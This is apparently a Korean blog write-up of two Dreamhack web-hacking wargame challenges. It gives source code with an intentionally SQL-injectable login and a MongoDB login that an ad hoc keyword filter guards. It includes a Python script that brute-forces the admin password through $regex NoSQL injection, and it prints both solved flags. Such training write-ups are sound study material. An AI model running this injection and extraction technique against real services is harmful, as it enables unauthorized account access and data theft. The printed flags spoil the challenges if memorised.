STAGE 6
simple_sqli
이 문제는 로그인 서비스로 SQL INJECTION 취약점을 통해 플래그를 획득할 수 있다.
플래그는 flag.txt, FLAG 변수에 있다고 힌트를 주고 있음
문제 파일로 Python 파일이 주어졌다.
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
login 창에서
guest로 로그인하면 다음과 같은 메시지가 출력된다.
공격 쿼리문을 userid와 userpassword 입력창에 입력하면 admin 계정으로 로그인 된다.
플래그 출력
DH{1f136225e316add7bff3349ab1dd5400}
성공!
Mango
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제다.
플래그는 admin 계정의 비밀번호
문제 파일로 js 파일이 주어졌다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
초기 화면
해당 인덱스를 이용하여 서버 요청
guest 출력
uid와 upw를 admin으로 수정하여 서버에 요청하면
filter가 출력된다.
필터 우회
regex 연산 사용하면 정규표현식을 이용해 데이터 검색이 가능하다.
정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회 가능
admin 유저 이름이 출력된다
쿼리가 참임을 확인할 수 있다.
정규표현식을 통해 한 글자씩 알아내야 하므로, 여러 번 쿼리를 전달해야 한다.
파이썬으로 코드를 작성해보았다.
드림핵에서 예시로 제공되는 코드를 임의로 수정하여 사용
import requests
import string
url = 'http://host3.dreamhack.games:16410/login?uid[$regex]=ad.in&upw[$regex]=D.{'
alphanumeric = string.ascii_letters + string.digits
flag = ''
for i in range(32):
for char in alphanumeric:
res = requests.get(url + flag + char + '.*')
if res.text == 'admin':
flag += char
print('DH{' + flag)
break
print('DH{' + flag + '}')
다음과 같이 비밀번호가 출력이 된다.
DH{89e50fa6fafe2604e33c0ba05843d3df}
성공!
'Dreamhack > Web Hacking' 카테고리의 다른 글
[Web Hacking] STAGE 8 (0) | 2022.08.26 |
---|---|
[Web Hacking] STAGE 7 (0) | 2022.08.19 |
[Web Hacking] STAGE 5 (0) | 2022.08.04 |
[Web Hacking] STAGE 4 (0) | 2022.07.25 |
[Web Hacking] STAGE 3 (0) | 2022.07.21 |